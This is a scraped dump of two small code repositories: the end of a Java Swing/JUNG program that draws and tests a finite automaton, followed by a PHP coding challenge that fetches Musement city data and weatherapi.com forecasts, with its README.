CircleLayout<String, String>(g), new Dimension(600, 500)); vs.setPreferredSize(new Dimension(650, 550)); /*** Muesta las etiquetas de los vetices ***/ vs.getRenderContext().setVertexLabelTransformer(new ToStringLabeller()); /*** Coloca el label del vertex en el centro ***/ vs.getRenderer().getVertexLabelRenderer().setPosition(Position.CNTR); /*** Muestras las etiquetas de los arcos ***/ vs.getRenderContext().setEdgeLabelTransformer(new ToStringLabeller()); vs.getRenderContext().setLabelOffset(20); vs.getRenderContext().setEdgeLabelTransformer(new Transformer<String, String>() { @Override public String transform(String edgeName) { String label = edgeName.split("-")[0]; if (label.equals("")) label = "#"; return label; } }); /*** Determina como se mostraran los vertices ***/ vs.getRenderer().setVertexRenderer(new MyRenderer()); /*** Permite interactuar y mover los vertices ***/ DefaultModalGraphMouse<String, Number> graphMouse = new DefaultModalGraphMouse<String, Number>(); graphMouse.setMode(ModalGraphMouse.Mode.PICKING); vs.setGraphMouse(graphMouse); // Creando el panel en la parte inferior y agregando componentes JPanel panel = new JPanel(); // el panel no está visible en la salida JLabel label = new JLabel("Introducir texto"); JTextField tf = new JTextField(10); // acepta hasta 10 caracteres JButton send = new JButton("Enviar"); send.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { // TODO Auto-generated method stub // label.setText(tf.getText()); boolean result = false; String cadena = "La cadena digitada es errada"; int icono = JOptionPane.ERROR_MESSAGE; if(!tf.getText().equals("") || tf.getText() != null) { result = M.leer(tf.getText()); } if(result) { cadena = "Cadena procesada correctamente"; icono = JOptionPane.INFORMATION_MESSAGE; } JOptionPane.showMessageDialog(null, cadena, "Cadena Procesada", icono); } }); panel.add(label); // Componentes agregados usando Flow Layout panel.add(tf); panel.add(send); JFrame frame = new JFrame(); frame.setSize(500,500); frame.getContentPane().add(BorderLayout.CENTER, vs); frame.getContentPane().add(BorderLayout.SOUTH, panel); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.pack(); frame.setVisible(true); } static class MyRenderer implements Renderer.Vertex<String, String> { @Override public void paintVertex(RenderContext<String, String> rc, Layout<String, String> layout, String vertex) { boolean isPicked = rc.getPickedVertexState().isPicked(vertex); Point2D point = rc.getMultiLayerTransformer().transform(Layer.LAYOUT, layout.transform(vertex)); Shape shape = rc.getVertexShapeTransformer().transform(vertex); GraphicsDecorator graphics = rc.getGraphicsContext(); Rectangle2D bounds = shape.getBounds2D(); Stroke oldStroke = graphics.getStroke(); Paint oldPaint = graphics.getPaint(); double x = point.getX(), y = point.getY(); // ----------------------------------------------------------------------------- if (vertex.equals(initialState)) { List<Point2D> points = new ArrayList<Point2D>(allStates.length); Point2D p = layout.transform(vertex); // Mueve la flecha del estado inicial al mover un vertice for (String nVertex : allStates) { if (!nVertex.equals(vertex)) { points.add(layout.transform(nVertex)); } } double bestScore = Double.NEGATIVE_INFINITY, bestAngle = 0.0; for (Point2D q : points) { for (Point2D r : points) { double score = GGeometry.angleBetween(p, q, r); if (score > bestScore) { bestScore = score; bestAngle = GGeometry.angle(p, q) + 0.5 * score * (GGeometry.crossProduct(p, q, r) > 0 ? 1 : -1); } } } double r = bounds.getHeight() / 2 + 2; AffineTransform transform = graphics.getTransform(); graphics.setTransform(compose(translate(-r, 0), rotate(bestAngle), translate(x, y), transform)); graphics.setStroke(rc.getEdgeArrowStrokeTransformer().transform(vertex)); graphics.setPaint(rc.getEdgeDrawPaintTransformer().transform(vertex)); graphics.draw(line(0, 0, -17, 0)); Polygon arrowHead = new Polygon(); arrowHead.addPoint(0, 0); arrowHead.addPoint(-5, -5); arrowHead.addPoint(-5, 5); graphics.draw(arrowHead); graphics.fill(arrowHead); graphics.setTransform(transform); } AffineTransform transform = graphics.getTransform(); graphics.setTransform(compose(translate(x, y), transform)); graphics.setStroke(rc.getVertexStrokeTransformer().transform(vertex)); graphics.setPaint(isPicked && Color.CYAN != null ? Color.CYAN : oldPaint); graphics.fill(shape); graphics.setPaint(rc.getVertexDrawPaintTransformer().transform(vertex)); graphics.draw(shape); // Dibuja un segundo circulo sobre los estado finales for (String fS : finalState) { if (vertex.equals(fS)) graphics.draw(transform(shape, scale(0.75, 0.75, bounds.getCenterX(), bounds.getCenterY()))); } graphics.setTransform(transform); graphics.setStroke(oldStroke); graphics.setPaint(oldPaint); } } public static AffineTransform translate(double pDeltaX, double pDeltaY) { return AffineTransform.getTranslateInstance(pDeltaX, pDeltaY); } public static AffineTransform rotate(double pAngle) { return AffineTransform.getRotateInstance(pAngle); } public static AffineTransform rotate(double pCenterX, double pCenterY, double pAngle) { return AffineTransform.getRotateInstance(pAngle, pCenterX, pCenterY); } public static AffineTransform scale(double pFactorX, double pFactorY) { return AffineTransform.getScaleInstance(pFactorX, pFactorY); } public static AffineTransform scale(double pFactorX, double pFactorY, double pCenterX, double pCenterY) { return compose(translate(-pCenterX, -pCenterY), scale(pFactorX, pFactorY), translate(pCenterX, pCenterY)); } public static AffineTransform compose(AffineTransform... pAffineTransforms) { AffineTransform result = new AffineTransform(); for (AffineTransform affineTransform : pAffineTransforms) { if (affineTransform != null) result.preConcatenate(affineTransform); } return result; } public static Shape transform(Shape pShape, AffineTransform pTransform) { return pTransform.createTransformedShape(pShape); } public static Line2D line(double pX1, double pY1, double pX2, double pY2) { return new Line2D.Double(pX1, pY1, pX2, pY2); } } <file_sep>/README.md # MGGA ## Make Gold Great Again Tesis
473cc4c74f2614fd076309e3e6da0ca06c38f320
[ "Markdown", "Java" ]
2
Java
FLAGlab/MGGA
c89b5243e6cc6c8fb2b9b027859ee3d61a921d05
b76a6fc358598ccd3181d45511d6381710cb39d6
refs/heads/master
<file_sep># The API weather challenge ## What does it do The application calls Musement's catalogue for the list of cities and then gets a forecast from api.weatherapi.com for each of them for today and tomorrow. ## Installation and using 1. Set an environmental variable with the name of WEATHER_API_KEY with the value of a valid weatherapi.com site key, in order for the application to work. 2. Launch the app `php index.php > "result.txt"` # Step 2 of the assessment (API design) ## What it does This is weather API design. In this project, I designed two endpoints. One accepts PUT method with array of objects - all of them describing weather conditions in the location specified by a path parameter, for at least two days. The second one fetches weather for a city for a day specified by a path parameter. ## Description I have created this API project using OpenApi 3.0.0 with [Swagger](https://editor.swagger.io/) editor and saved in openapi.yaml and openapi.json files. <file_sep><?php include 'CitiesWeatherDetails.php'; $api = new CitiesWeatherDetails('https://api.musement.com/api/v3/cities', getenv('WEATHER_API_KEY')); $api->resultsToStdout(); ?> <file_sep><?php class CitiesWeatherDetails { protected $apiUrl; protected $weatherApiKey; public function __construct($apiUrl, $weatherApiKey) { $this->apiUrl = $apiUrl; $this->weatherApiKey = $weatherApiKey; } public function callAPI(){ $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $this->apiUrl); curl_setopt($curl, CURLOPT_HTTPHEADER, array( 'APIKEY: 111111111111111111111', 'Content-Type: application/json', )); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); $result = curl_exec($curl); if(!$result){die("Connection Failure");} curl_close($curl); return json_decode($result, true); } public function callMulti($urls) { $mh = curl_multi_init(); foreach($urls as $key => $value){ $ch[$key] = curl_init($value); curl_setopt($ch[$key], CURLOPT_HEADER, 0); curl_setopt($ch[$key], CURLOPT_RETURNTRANSFER, true); curl_multi_add_handle($mh,$ch[$key]); } do { curl_multi_exec($mh, $running); curl_multi_select($mh); } while ($running > 0); $forecasts_array = []; foreach(array_keys($ch) as $key){ $result = json_decode(curl_multi_getcontent($ch[$key]), true); if(!$result){die("Connection Failure");} if(isset($result['error'])){ $forecasts_array[] = array('current' => "Unavailable", 'tomorrow' => "Unavailable"); } else { $forecasts_array[] = array('current' => $result['current']['condition']['text'], 'tomorrow' => $result['forecast']['forecastday'][0]['day']['condition']['text']); } curl_multi_remove_handle($mh, $ch[$key]); } curl_multi_close($mh); return $forecasts_array; } public function getUrls() { return array_map(function($entry) { return "http://api.weatherapi.com/v1/forecast.json?key=" . $this->weatherApiKey .'&q=' . $entry['latitude'] . "," . $entry['longitude'] . '&days=2'; }, $this->callAPI()); } public function resultsToStdout() { $response = $this->callAPI(); $urls = $this->getUrls(); if(!empty($urls)) { $forecasts_array = $this->callMulti($urls); } if(count($response) != count($forecasts_array)){ die("Application stopped as the results may not be accurate"); } foreach ($response as $key=>$entry) { echo "Processed city " . $entry['name'] . " | ". $forecasts_array[$key]['current'] . ' - ' . $forecasts_array[$key]['tomorrow'] ; echo "\n"; } } }
46f1ce8e0e528b4017d5e4ad8a69417051579810
[ "Markdown", "PHP" ]
3
Markdown
kajamiko/php-api-challenge
597560721cc79fe8986bd9d0901f8817f4393a58
915f93f547911f3f0092b7b64c310e8a754f9dc0